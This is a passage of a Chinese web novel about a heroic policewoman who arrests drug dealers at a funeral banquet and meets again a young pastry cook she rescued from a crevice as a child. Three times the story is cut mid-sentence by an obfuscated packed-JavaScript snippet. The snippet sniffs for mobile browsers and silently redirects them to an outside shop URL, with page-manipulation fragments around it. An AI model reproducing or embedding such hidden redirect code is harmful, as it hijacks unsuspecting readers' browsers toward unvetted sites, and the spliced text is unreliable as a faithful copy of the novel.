《姐姐真美》 1. 做枣花馍的少年 秋天,漫长的柏油路,浑黄一体的风沙。 黑白孝棚,黄白菊花。金纸元宝,香烛纸马。 纸人双目空洞,似乎在期待一滴血,让它能活过来。 白袍黑纱的孝子贤孙,跪守在火盆畔,给来访的宾客答礼。 一人小声嘀咕:“那人谁呀?怎么还穿件粉红的……” “好像是那家女婿……” 孝棚旁跪着几个和尚,为首的那个甚是纤瘦,声音也尖脆,唱经唱得有些哼哼唧唧的。 可细听才发现,竟是用《观音心经》的调唱着:“扁担长,板凳宽,扁担没有板凳宽……” “队长,换个词吧……真够丢人的……”穿粉红T恤衫的魏三有小声嘀咕道,“你这一看就是假和尚……” “有你丢人?当孝子穿得像新郎官似的……” 东侧是堪称豪华的农村流水大宴席,按当地风俗,亲戚朋友凡是来赶礼的都可以大吃三天,红烧肉上结出了雪白的冻,热水桶里浮着一层红红黄黄的油花,不吃到嘴巴发麻不算完。 公鸡扒拉着膀子飞到宴席上,狠狠啄食着同类的肉,又拉了一泡屎,酒杯里出现了几根鸡毛。 小孩钻进了狗窝里,被大人薅出来打了一顿,甩出一只鞋。 灰蒙蒙的黄泥土路,无论摸哪儿都是阴冷潮湿的,连天都泥泞起来。 主家倒甚是大方,所有宾客拿到的喜烟都是黄澄澄的芙蓉王,一条一条地交付了出去。 为首的和尚脸色一变,一把撤掉僧袍,掏出一只□□大喝,“别动!警察!” 其他和尚也纷纷掏枪,宾客们荒做一团,鸡飞狗跳,暴土扬尘,一派狼藉! 哭喊,吵骂,殴打,撕扯,间或几声噼里啪啦的声响,竟然有种节日般的喧嚣。 硝烟散去,滚滚迷雾中的那为首的和尚收起手枪,僧袍和肉皮头套下竟然是个英姿飒爽的女子。 一双点漆般的双目几乎看不到白眼仁,那里面似乎弥漫着一片黑洞。不过矫健的身子宛若游龙,出手甚是狠辣,拳如风生,腿若闪电。 那些持枪的匪徒根本近不了她的身,她不光能手持双枪,还能双手齐换子弹。 而那些射向她的子弹也都像害怕似的,怯生生地绕着她飞。 驰援而来的战友们打扫战场,逮捕犯罪嫌疑人。女警察擦擦脸上的灰尘和血渍,刚喝了一口水,就听那中枪的匪首躺在地上哀嚎,“额滴蛋啊……额滴蛋啊……” 女警察踹了他一脚,“老子没他妈打你的蛋,打你腹股沟而已,叫唤个屁!” “操!你个假和尚,谁能想到你特么一个母的还这么凶!我警告你,老子必投诉你,老子出去后废了你!” “是你个屌毛先对老子开枪的,老子当然要还手。先撩者贱,打死毋怨!” “你特么的……匪首气得张牙舞爪地哇哇大叫,被担架抬走了还对着女警察竖中指,“操你妈……” “哥们儿,那损货再逼逼,就把他袜子脱了塞他嘴里……”女警察毫不生气,还捡起桌上的菊花枣花馍左右端详。只见那花馍黄若金沙,灿若锦霞,那花瓣上还有丝丝光影流波浮动,恍若琉璃珐琅彩精心雕琢而成。 一只警犬摇着尾巴跑过来仰脸看着她,她拍了拍警犬的头,“听话,这玩意儿好看也不能吃,不知道里面有没有毒?回去给你香肠。” 警犬美滋滋地跑掉了,魏三有凑过来笑道,“队长,真有你的,算得真准。那群王八蛋果然把□□塞到烟里面了,送烟的时候顺便交易毒品。刚才兄弟们清算了一下,应该有差不多五十斤□□。我靠!又是一个一等功。” “我早说过,跟着咱们队长保准能吃香的喝辣的,拿奖拿到手软!” “那是!咱们队长是谁?武英级运动员,警校里就获了一等功的优秀学员,是在地震死人堆里刨出二十几条人命的英雄!” “对对对,你还记得队长刚入职一个月就卧底火葬场,捣毁个贩卖器官的地下黑市时局长是怎么说的?论警衔我是你的领导,论贡献我是你的粉丝。当时咱们都说:这是宗门长老遇到了宗门天骄!” “哈哈哈……”女队长豪迈地笑笑,“大家辛苦了,今晚我请客!老规矩,男生漂亮饭,熏鸡猪肚烧鸭香肠烤鱼羊肉串小龙虾管够!” “谢谢队长……” “叫啥队长啊,这级别的男生漂亮饭,这得叫义母呀……” “谢谢义母……”一帮五大三粗的汉子咧个大嘴叉子拱手行礼。 “孩儿们免礼平身!”女队长笑得合不拢嘴。 “义母,有酒吗?” “那当然有了!为娘请爱子们吃漂亮饭,要是没有准备酒,拿把枪我毙了都算正当防卫……” 众人正说着,副队长李大刚从后厨押着个年轻人走过来,“队长,这是这伙毒贩子请来的厨子,要不要一并带走?” 女队长看了看那年轻人,骨架纤长清瘦,眉目疏朗中带着满满的羞怯,肤色如玉般温润,桃花瓣般的嘴唇红得让人猛地心跳加速,整个人如一株在风雨中洒落满地残红的桃花树,有种江南水乡的柔媚。 对一个男生来说,那已经不是美了,那可以说是一种……妖艳,一种很有攻击性的妖艳。 “警察同志……我没有参与贩毒……我只是……他们叫我来做白案……”年轻人眼泪汪汪地哀求着,“求求你们了……我只是来勤工俭学……您别告诉我们学校……我会被开除的……” 李大刚冷笑道,“早知今日,何必当初!每个刚进来的人都说自己无辜。你这种人我见多了,是不是无辜,要看证据!” “求求您把我放了吧……我……我交罚款行吗——我们学校晚上还要查宿舍,不回去会扣分的……”年轻人竟掉着眼泪对着女队长跪了下去,“警察姐姐我求求您了,我真的没犯罪……” “起来!”女队长喝道,“男子汉跪什么跪!”又从地上捡起袈裟蒙到少年的头上,把车钥匙丢给李大刚,“把他带到我车上,别跟那群臭烘烘的毒贩子关在一起。” 二 此次行动缴获了整整六十公斤□□,刑警队获了集体一等功。局长拍着女警察的肩膀激动得声音都发颤了,“小武啊,不,厉枭!我已经打报告向上级申请,授予你公安系统二级英模称号。” “啊?”武厉枭似乎没啥惊喜,“我才参加工作不到四年,局长,这是不是太早了?” “不到四年,你的战功可比别人三十年的都多!有几个能像你一样刚入职就去火葬场当特勤,一个人捣毁了上百人的贩卖器官地下组织!那几个被抓的头目现在还用铁链子锁在精神病院里,说不知道炼人炉里为啥跑出来牛头马面……” “哈哈哈……”魏三有接口道,“我们队长在警校读书时就参加过抗洪,爬野山的时候顺便救了场森林大火,出去听场演唱会都能顺手抓了十几个间谍……光二等功就立了四个。我们都说:队长有英雄命。” 李大刚道,“我们义母上次抓贼,骑着摩托车在高速路上追一个法拉利,开得那叫一个风驰电掣,最后把那个恶贯满盈的军二代绳之以法。那丫挺的,还不满十八岁,涉嫌多起□□……” 局长说:“没错,厉枭,我现在都还记得你入职时对我说:哪里有精致的利己主义,哪里就有粗糙的舍己为公。在灾难面前,总有些不聪明的人渴望实现英雄的梦想,践行侠义的权利。” 武厉枭笑道,“局长,谢谢您的肯定。这二级英模什么的不重要,您能不能给我这帮兄弟多放两天假让他们洗洗澡换换衣服,这一个个快成泥猴了。” “哈哈哈……”局长大笑道,“行,去吧!每人三天假,你们的工作暂时让二队顶上。” 众人呼哨一声做鸟兽散了。李大刚拉过武厉枭悄声道,“队长,咱们在前面拼死拼活,二队善后,白捡个现成的?这不公平。要不,审讯那块我去盯着?” 武厉枭笑道,“你还嫌不够累呀?瞧你这脑型乱的,赶紧回家洗澡换衣服吧!” 李大刚皱眉道,“您怎么总这样啊?这次缉毒本来也该是缉毒队的事,局长派咱们刑侦队来,您二话不说就答应了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849708|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p>“听话,回去队长给你们申请双倍车补和餐补。” “我可不要,谁不知道局里穷得快尿血了。我们的餐补,车补,都是您用自己的工资贴的。义母啊,就算您家里开着百年老店也不能这么花呀!哪有人自费上班还这么流血拼命的!” “你就当为娘我贱皮子,有英雄瘾还不行吗?”武厉枭的笑容甚是明媚灿烂,“对了,那个白案厨子怎么样了?” “嗯,调查了,的确是山大金融学院的学生,还是个高考过七百分的学霸。” “啊?学霸怎么会去那种地方?” “他们辅导员说那小子是孤儿,在福利院长大的。平时就经常打点零工什么的,送外卖,去渔场扛渔获,贴膜,修手机……寒暑假就去流水线打工。这次是赶上双休日,估计又出去打工了。” “那孩子看着挺老实的,怎么跟毒贩子搅和在一起了?” “这小子前一阵我就见过他了,往盛华小区送外卖被捅了一刀。这小子,长得那么招摇,那脸就足够给他招灾惹祸了。” “啊?怎么会这样?” “那天,那小子送外卖到那小区,小区里特别大,他怕外卖超时,就跟保安商量允许他骑电动车进去。谁知道那保安因为几次被外卖员骑电动车冲进去,差点被撞,还被队长扣了工资,正憋着一肚子气呢。一看到又有外卖员提出骑电动车进小区,就把邪火全撒在他身上了,抄起随身带的螺丝刀就捅了过去。还好这小子挡了一下,扎在胳膊上。如果扎在肚子里就完蛋了。那保安当时黄了眼,捅了第一刀还想捅第二刀。要不是他跑得快,估计那天得扎成血葫芦。” “天哪!”武厉枭摇摇头,叹息道,“典型的底层互害。” “其实那小子也挺冤的,他和别的虎了吧唧的外卖员不一样,他一直在门口挺客气地跟保安好好说话,还给保安苹果。谁知道那保安油盐不进,用刀捅他,他骑车开跑,保安还举着刀追出那么远,全被监控拍下来了。对了,前一阵昌南分居那边也抓到过他,差点留了案底——涉嫌猥亵未成年人。” “怎么回事?” “那个时候,他在西游幻城当npc,化着浓妆跟游客们互动,用嘴叼着奶酪棒的把儿给游客喂奶酪棒,一次十块钱。那天来了几个女的,花钱几十块钱,要买这小子的服务。这小子就给她们喂了。结果那几个女生拍了视频上传到网上,说自己是未成年人,景区涉嫌猥亵,还报了警。昌南分局就去西游幻城带走了他,经过审问,发现他并不知道那几个女生是未成年人,而且他自己也刚成年,高考刚结束,又没有学籍。所以没有留案底,没有记录档案,就是罚款两千块钱了事。西游幻城为此赔了五万块钱,还把他解雇了。” 武厉枭皱皱眉,“那几个女生几岁?” “十七岁,高二的女生。” “高二的女生,身体外形跟成年人没有任何区别。她不说,谁能知道她是未成年人呢?这么干跟讹诈有什么区别?”武厉枭摇头叹道,“这孩子这次是怎么回事?” “刚审过了,那伙毒贩子说在网上随便招的。刚才法证和法医那边传来报告,那孩子体内没有□□成分,他做的那些枣花馍也没有。” “什么?那些枣花馍是他做的?”武厉枭吃惊道,“那没事了,等下做完笔录就放了他吧。” “队长?以前也有这样的例子,一旦落网,一伙犯罪分子都把罪责揽下,保着其中最小的一个能出来,重新拉起团伙再做案。那个小的如果身家清白有文化更麻烦了,一旦他能考公考进体制内,必会给他那些同伙翻案,甚至成为新的黑恶势力的保护伞。为了防微杜渐,怎么也得给他扣个48小时,留个案底。” 武厉枭笑了,打开手机举给李大刚看,“你想想,如果他真的是参与演场出殡的戏借机贩毒,犯得着把那些枣花馍做得那么好看吗?我家自高祖爷爷那辈起,做了两百多年糕点,我当然知道那馍有多费事了。” 李大刚若有所思道,“也是啊,但是那小子死不开口咋办呢?” 武厉枭道,“我跟你一起去。” 2. 地缝里救起的宝宝 审讯室里的二队队长一看到武厉枭来就叫苦连天,“哎呦我说武大帅,你哪弄这么个活爹来!好嘛,一句话不说就是个哭,从昨晚哭到现在,别说吃东西了,水都不喝,也不上厕所。这小子是不是心理有啥问题呀?” “晚上也没睡觉吗?” “没……他就一直坐那儿默默地掉眼泪,给他泡方便面他也一口不动……” 武厉枭透过窗户看了看少年那灰败的脸色和红肿的双眸,一夜没见他似乎憔悴了很多。脸上的泪痕没有干,只有满满的哀莫大于心死。 她接过二队队长手中的资料一看,顿时吃惊得眼珠子恨不得夺眶而出,差点把资料本掉在地上。 是他!是他!苏晏清! 苏晏清…… 那个孩子,他…… 我居然有机会和他重逢! 他……这么多年……还好吗…… 武厉枭的整个心魂又回到了十四年前的西河镇望口村…… 那年的暑假,天蓝似海,群山蓊郁。 紫薇花满山遍野地开,红透了半边天,红得像血。 十二岁的武厉枭正在外婆家的院子里练拳,忽听得门外传来一声惨叫:晏清掉地缝里去了! 村东头有一道狭长幽深的地缝,成因已不可考,有人说是几十年前来村子里淘金的人挖的,有人说是地震裂开的……长长的一道,如脸上被人狠狠抽了一鞭子,落下的伤疤。 这么多年,没人注意到那条地缝,村里人早对其视而不见了,谁料今天会掉进入一个四岁的孩童——苏家那个粉雕玉琢般的宝贝男孙苏晏清。 望口村本就不富裕,苏家又是全村最穷的人家。苏老头是个酒鬼,苏家的独生子都爱赌博,家里穷得屌蛋精光。苏家老婆儿虽然也不是个软弱挨欺负的,也是个三天两头带着伤出门的,逢人就抹着眼泪托人给介绍个女人娶进门。 但街坊邻居都说:就算是个带孩子穷到了底的寡妇,也不能眼瞎心盲地改道串门到这家来呀!天底下就找不到这样一窝窝人。 那年是个蛇年,村里莫名其妙地多了好几窝蛇,苏家赌鬼每天都抓几条回来吃蛇肉,有人提醒他不能抓,蛇有灵性,抓了丧门,被那赌鬼骂了回去。 开春时节,苏家老婆儿带回来一个披头散发的疯女人,看面皮还算白净,模样也俏生生的,但满头满脸胳膊大腿上全是伤,没有一处整皮好肉。两个手腕子还用麻绳捆住了,磨得全破了皮,血汩汩地冒着。 苏家老婆儿边揪着她头发连推带打,边跟过往的乡亲们说:“这是我家新娶的媳妇,外乡的,是个脑子不好使的,在家天天打人。她爸妈受不了啦,让我把人领走。我看身体还行,花了四千块钱娶回来当儿媳妇。” 就这样,苏家的疯媳妇没办酒席没进祠堂,就白天晚上地在炕上锁着,夜夜被打得跟牲口似的,哭嚎得能把全村的狗吓疯。 终于在第二年开春,苏家抱出来个雪团似的奶娃娃,请全村最有文化的村长取名。村长翻烂了字典,想出了这两个字:晏清。 苏晏清出生后,疯媳妇似乎正常了一些,挨的揍也少了,白天有人监视的情况下,也允许她奶孩子,在院子里站会儿。 苏老头有了孙子后喝的酒也少了,家里重新开起了豆腐坊。 苏家赌鬼也不去小卖店耍钱了,每天早早地蹬着他那个差点卖了还赌债的小破电三轮,把从各家收的鲜鱼水菜儿拉到集市上卖。 看着这两头混人的变化,全村都说晏清是他们老苏家的金孙宝贝疙瘩,度他们改邪归正的。 晏清四岁那年的夏天,幼儿园放了暑假,爷爷去隔壁村送豆腐,爸爸去集市上买菜,奶奶去地里侍弄庄稼,妈妈在灶下做饭,小小的他一个人跑出去玩,来到了村头的地缝边…… “啊……掉进去啦……” “人掉进去啦……” “有人掉地缝里去啦……” 围观的人越来越多,团团簇拥的黑压压的脑袋,这地缝甚窄,别说成年人了,连半大孩子都掉不进去。 这么多年也就掉进去过乱跑的鸡,瞎眼的狗,主人也懒得找。没想到,这回掉进去了人……老苏家那个疯媳妇生的金孙——那个四岁就会捧着邻居家狗蛋小学一年级课本倒背如流的漂亮娃娃,那个见人就笑一脸喜庆的小神童。 苏老婆儿和疯媳妇哭天抢地地扑到地缝边,要跳下去把晏清救上来,被村长拦住了,“晏清个子小,掉在卡缝里了,你俩跳下去也没用,根本够不到他,白费了自己的性命。我已经报了119,等消防员来……” 疯媳妇哭得可怜,“县里最近的消防队开过来都要好半天,孩子吓都吓死了……” 苏老婆儿一个耳光打过去,“你他妈的是死的呀?不会看着他!他要有个三长两短,我杀了你……” “我下去救!”人群中响起一个稚嫩又清朗的声音,是全村最有钱的大宅院吴家的外孙女,那个整天在院里打拳练腿的爽利丫头武厉枭。要说那丫头可厉害着呢,上次全村最凶的狗见着她要咬,被她连踢带踹一顿嘴巴子打得落荒而逃,后来大老远见到她都溜边走。那次村长家的那只最能啄人的两只鹅见到晏清要啄,被她一手一只掐着脖子抛到河里那么老远,后来一看到她就扭脸摇屁股地缩到屋里不出来。 她走到村长面前,“爷爷,麻烦你给我找根绳子,一头系我腰上,一头拴这棵老紫薇树上,把我放下去。我身量也不大,足够下到地缝里,把清宝抱住。然后你和各位叔叔大爷再拉绳子,把我拉上来。” 王玉梅当时就吓软了,抱着武厉枭道,“你可别逞能了,那地缝那么深,你别把自己折里面。” “没事!”武厉枭毫不在意,“妈妈你忘了,去年我们班赵新民在公园里被藏獒撵,是我操起西瓜刀攮过去,那藏獒差点被我捅到心脏……” 武鹤翔赶紧捂住她的嘴,“不许乱说!” 武厉枭不耐烦道,“哎呀,你们看小弟弟哭得多惨!再说你们等消防员来,不也就是这样,下个人去抱他上来。消防员叔叔都是成年人,也下不到深缝里了。要是下那些钩子起子什么的,豁着清宝怎么办?还不如我轻手利脚地下去,我戴着爸爸妈妈的电动车头盔,别着镐头下去。把头盔戴在我和小弟弟头上,遇到太窄地方,我就用镐头敲大,掉下来的石块也不会砸到他,我一直抱着他,把他抱上来。” 武鹤翔凝视着女儿澄澈如精焰般目光,“你确定你能行?” “确定!爸爸,我是班长,是全年级第一,是救下了同学的英雄。请相信一个英雄的判断!” “好!”武鹤翔抱住了女儿,眼睛都红了,“爸爸去拿绳子,枭枭,一定要小心,爸爸妈妈就守在这儿,等你回去给你做红烧肉,炖大鲤鱼。” 十二岁的武厉枭被粗麻绳捆着放到了地缝深不可测之处,所有大人都胆战心惊地哭着手电筒往下照。武厉枭高声道,“我看到清宝啦……” “我抱住他了……” “宝宝有擦伤,骨头没断……” “我在敲石壁,你们别使劲拉绳子……” “我把宝宝和我捆在一起,捆得很结实……别担心……” 敲石壁的声音越来越响,越来越焦灼…… 王玉梅的心都提到了嗓子眼,抓住武鹤翔的衣襟胆战心惊地小声呜咽道,“老公,枭枭她……呜呜呜……” “咣——” 随着一声巨响,王玉梅冲到石缝边尖叫着大哭,“女儿——” “没事,我敲掉了一块大石头,你们可以使劲拉绳子啦!” 村长和武鹤翔带着大伙齐用力,一点一点将灰头土脸的武厉枭和浑身是伤的苏晏清拉了上来。疯媳妇抱着孩子哭得快昏了过去,苏老婆儿扑到武厉枭跟前捣蒜似的磕着头。 武厉枭摆摆手道,“苏奶奶,你要是真想谢我,回去后就对苏婶婶好点,别打她了。” “是是是……枭枭是我们全家的大恩人,是救苦救难的菩萨……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849709|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' p> 王玉梅抱着女儿不住地亲着,“我家枭枭是菩萨,是英雄……” 武厉枭在消防员到来之前救出了苏晏清的壮举被发布到了网上,她所在的学校为她申请了“见义勇为先进个人”,“省级三好学生”的荣誉,无数鲜花掌声纷至沓来的同事,网络上也对武父武母让十二岁女儿下地缝救人之举发出了质疑,指责他们贪图名利。 但又有网友说:武家先祖在两百年前就创立了“荣宝斋”糕点铺,在清朝时是皇家专属供奉,是拿下了“中华老字号”招牌的国民老店。店里的所有糕点都是纯手工制作,讲究“药食同源”,其中的桂花酥、椒盐饼等十几种招牌糕点更是获得了“中华名小吃”的称号。 武家这样的经济实力,根本不需要让三代单传的宝贝独生女去冒险。 但事情最大的反转还不是那些对武家的质疑,是有人在网上看到了苏晏清的妈妈,那个在村子里根本没人知道名字的疯媳妇——是被人贩子拐卖来的女大学生,她的父母早就报了警,那对大学教授夫妻双双辞了工作,散尽家财得跑遍了全国二十多个城市,没想到却在一则小学六年级女生勇救落难幼童的先进事迹报道中,知道了女儿的踪迹…… 警察很快带着那对大学教授来到了望口村。 一家三口终得团圆,沉冤得雪。 那对大学教授夫妻疯了似的扑过去要揍苏家赌鬼,被警察拦住了。 全村的人眼睁睁地看着苏家老酒鬼,苏家老婆儿,苏家赌鬼被戴着手铐押送上了警车,连带着村长都被一并带走了,说他容留被拐妇女,有知情不报的嫌疑。 四岁的苏晏清被送去了福利院,再也没回来过。 苏家赌鬼因□□罪被判处有期徒刑十二年,苏家老酒鬼和苏老婆儿因收买罪和虐待罪被判处有期徒刑三年。 村长也因为这件事被免了职,开除党籍,档案内记大过一次。 警察问苏老婆儿人贩子长什么样,叫什么名字,她都摇摇头说记不得了。 她哭丧着脸喃喃道,“我只想找个媳妇,生个孙子……咋还犯法了……我只知道媒人说是外乡的疯姑娘,家里人不要她了……我不知道是城里大文化人家的姑娘呀……难怪生的孙子那么漂亮聪明……警察同志,媳妇把我孙子带走了吧?也好,在姥姥姥爷家长大,将来在城里读大学,也当大文化人……” 警察暗自叹了口气,他没告诉苏老婆儿的是,疯媳妇被父母接走时看都没看苏晏清一眼。仿佛在她眼里,那不是骨肉相连的亲生儿子,是耻辱,是罪孽,是急需摆脱的灾难。 武厉枭知道苏晏清被送去福利院,急得哭着求父母,“我们可以收养晏清吗……我还挺喜欢那个弟弟的,他可乖了……见到我就笑……” 王玉梅摇摇头,“枭枭,如果我们收养了他,他长大后知道是因为你的事迹报道出来,害他一夜间失去了爷爷奶奶爸爸妈妈,失去了在父母身边长大的机会,他该如何处理这段感情?是感谢你的救命之恩,感谢我们的养育之恩,还是该恨我们?” “可是,晏清太可怜了……他就住在外婆家隔壁……我天天带他玩……你们不肯给我生弟弟妹妹,清宝宝……就像我亲弟弟一样……每个寒暑假都来外婆家陪我……亲你们了,收养他吧……” “你爸爸已经去了福利院定向捐赠了五万块钱给晏清,毕竟是你外婆的同乡。我们每年都会给福利院捐款的……枭枭,这件事我们已经仁至义尽了,他毕竟还有直系亲属在。” “晏清妈妈为啥不带走他呢……他那么小……一个人在孤儿院……多可怜……爸爸妈妈,求你们了,收养晏清吧,我保证他会很乖的……他不听话的时候,我会管他……” “晏清妈妈生下他的时候,其实还未成年……晏清的姥姥姥爷因为女儿失踪的五年,都患上了癌症,现在已经到了晚期……他们照顾精神失常的女儿都够困难了。他们唯一的心愿,就是女儿能平安,如果可以的话,希望她重返大学,完成学业……” 3. 审讯室里的少年 晏清……武厉枭望着审讯记录上的那一串串字符,心中说不上是怜还是痛。 她吩咐李大刚,“去食堂打一份小米粥,一杯热牛奶,外加一份水饺和一只茶叶蛋来。” 李大刚道,“队长,你这是……” “快去!” “是!” 五分钟后,李大刚回来。武厉枭走进审讯室,一晚上不见,苏晏清似乎整个人都瘦了一圈,本来就是瘦长的脸型,下巴都有些尖。武厉枭心中一阵恻然,那个小时候在她怀里喝奶粉吃蛋羹的小肉团子哪儿去了,怎么变成这么一副濒临破碎的样子,活像一只被人打怕了的流浪小狗崽?她把这些饭食放到苏晏清面前,“饿了吧?吃些东西垫垫肚子。” 苏晏清深深地望了武厉枭一眼,那双眼睛,沉寂如冰海,却又能在恶浪中诞生希望。 “警察姐姐,我真的没有犯罪……我……求求你放了我好不好……我今天还有专业课……” “你是学什么专业的?” “学法律的。” “为什么选这个专业?” “我想做个好人。” “做个好人和学法律有什么关系?” 苏晏清哭了,“学了法律,当了律师或法官,我……我就可以证明,我不是天生的坏种……我的血液里没有犯罪的基因……就能获得原谅……” 武厉枭几乎按捺不住想落泪,眼前这个看起来高高大大的男孩似乎又变成了十二年前被她抱在怀里的那个幼童,那个在地缝里用小手搂住她脖子的奶娃娃,哭着说:“姐姐,我怕……” “姐姐,口头传唤已经将近十二小时,可不可以先让我打电话请假,要不会算旷课,扣学分的。” 武厉枭想了想,让李大刚带苏晏清用公安局专用电话给系里打了电话请假。 不一会儿,苏晏清回来,脸色似乎好了一些。他小心翼翼地看了一眼那些食物,武厉枭点点头,“趁热吃吧。” 苏晏清感激地望着她,小口小口地吃了起来,他的脊背挺得笔直,吃得斯文又秀气。武厉枭看着他清逸出尘的脸,似乎又变成了当年那个粉白粉白的小奶团子,在她外婆家的大院里端着小塑料碗,一口一个地吃着她给盛的糖醋排骨和樱桃肉,吃得满嘴油光光的,脑门上都沾着油,“姐姐……肉肉好吃……宝宝还要要……” 武厉枭道,“那些枣花馍是你做的?” “嗯,”苏晏清的眼睛里有了些光彩,“姐姐,你说我做得好不好?” “嘿,什么姐姐?”李大刚呵斥道,“老实点!叫武警官!” “是,”苏晏清吓得一缩脖子,牛奶也呛了一口,“武警官。” “做得很好看,想不到你一个男孩子,手这么巧。” “我在福利院里跟后厨的张奶奶学的,她是山西人,特别会做花馍。不过呀,花馍虽然好看,味道太淡了。我做的时候会在和面时加些鸡蛋、白糖、蜂蜜、黄油什么的,吃起来像蛋糕一样。福利院里的弟弟妹妹们都爱吃我做的枣花馍。” “你在福利院长大,家里人没来看过你吗?” “爷爷奶奶……去世了,爸爸……还在牢里……妈妈,没来过……” “其他亲戚们呢?” “有几个叔叔伯伯来看过我,有个伯伯人很好,常来看我,每次来都给我带衣服、书包和鞋子,还有特别特别好吃的桂花酥和椒盐饼,还给我钱……有个姐姐也总来看我,给我带吃的和玩具,还有书和每个学期的练习册……她还给我带过卤牛肉,那么大一块,可香了……但她从来都是站一会儿就走,没跟我说过话……他们说,和我是同乡……” “你为什么去做那个兼职?” “上周五我在58同城上找兼职,看到有个招聘白案的,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849710|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 干一天给五百块钱,我就来了。到了地方才发现这么远,而且是做丧宴白案的。” “他们给你钱了吗?” “没有。” 魏三有走进来,给武厉枭看审讯记录和证据资料:的确是那伙毒贩子用□□号注册了五八同城的账号,招聘厨子做宴席白案。红案和帮工都是犯罪团伙内部的人。因当地风俗,丧宴要做枣花馍,他们就随便招了一个。来了以后看是个白净斯文的大学生,便也放松了警惕。 魏三有把武厉枭叫了出去,“那小子的学校说他一贯表现很好,特别老实,经常帮做义务劳动。其实他高考的分数已经过了燕大的录取分数线,但是山大承诺给十万块钱奖学金,保研,他就去了山大。那十万块钱他拿出了五万送给了抚养他长大的福利院,所以身上没多少钱,平时就靠打零工做兼职为生。” “这孩子自己没啥钱,怎么还拿出来五万给福利院?” “他说,当年有个好心的叔叔给了他五万块钱,他也要回报社会,为了赎罪。他说,他想当个好人。” 武厉枭叹了口气,“让他在审讯记录上签个字,就放了他吧。” 魏三有答应一声,刚想过去,又被武厉枭叫了回来。只见她从钱包里掏出五百块钱,“这些钱给他,告诉他谁问起来,就说他做的枣花馍很好吃,那家人留他多做了几餐饭,所以回来晚了。” 魏三有笑道,“队长,您该不会是看那小子长得帅,色令智昏了吧?” “少胡说!告诉他,想做兼职就去安红街荣宝斋武家老店,找武月直老先生,说是武老的孙女介绍。他那手艺,我爷爷肯定喜欢。” “妈呀,长个好脸有这么多好处呢!那我得去韩国换个脑袋呀!” “滚蛋!”武厉枭笑着捣了他一拳,“如果你哪天能做出那么好看的枣花馍,义母天天给你做红烧肉和酱肘子。” 4. 荣宝斋 没错,作为糕点世家出身的武厉枭,做饭也颇具天赋,她的红烧肉和酱肘子肥而不腻,酥而不烂,堪称一绝。 一碗平平无奇的鲫鱼豆腐汤,也能让她做得山清水媚,颗颗豌豆如银盘浮青螺。她做的年年有余红糖糯米八宝饭更是武月直老人的最爱。晚饭时一看到孙女端出八宝饭来,心里多少气都散了。 “爷爷,爸爸跟您说了吧,中秋节请您过去吃饭。” “哼,都是小的来老的家吃饭,还有让老的去小的家吃饭的?岂有此理!” “爸爸说新种了些金桔薄荷,请您去看看。” “看什么?看能不能做他那些芝士糕蛋黄派呀?” 原来,武月直和儿子武鹤翔的这么多年一直有个心结。 武月直七岁跟着父亲学习家传手艺,讲究大道自然,应季糕点,古法炮制。春酥夏糕秋饼冬糖,一点儿也错不得。五谷、五辛、五虚,相辅相成。 老爷子总说:“武家糕点不光是零嘴,还是药!要把那些温中理气去湿健脾的好东西做得好吃,哄到人嘴里。” 他还经常提起先祖在同治年间开粥场赈济灾民,发现自己熬的香喷喷的白米粥,来喝的人却并不多。他派人去打听,才知道是灾民们一路逃荒,肚子里草根树皮观音土地吃了一大堆,有的几天都不曾大解,胀得肚子又大又硬。 先祖赶忙用艾草、山楂、金桔、茯苓、芡实等药材熬了一大锅香喷喷甜丝丝的热汤,光□□糖和蜂蜜就放了三斤多,送去给灾民们服下,果然个个排出了宿便,脾胃舒畅,也有了食欲。 官府为感念先祖厚德,特向皇帝帝请旨。慈禧太后不光赏赐“侠骨丹心”匾额一块,还封了四品顶戴,御前供奉,并亲自品尝了先祖给灾民做的甜汤,大赞其美味香醇,并亲自赐名为“神仙水”。 从此以后,荣宝斋神仙水名噪一时,一百多年传承不绝,日日供不应求。 慈禧太后晚年时消化不良,动辄胀气,还懒怠吃药,也是先祖献上自治的姜汁紫苏甘梅饮治好的。 慈禧圣心大悦,又赐了先祖皇马褂一件,十二生肖琉璃盏一套。这两件宝贝至今还供奉在荣宝斋老店正堂之中,历久弥新,日日供顾客欣赏瞻观。 武月直总说:武家做糕点,是救人济世的。武鹤翔眼里只有钱!做那些外国奶油蛋糕,什么慕斯、提拉米苏、拿破仑蛋糕……那些高油高糖的玩意儿,使劲地加黄油奶酪,腻得糊嘴,齁得人嗓子疼,把人好好的身体都吃得肥粗大胖的,吃得人得高血压高血糖,多造孽吧! 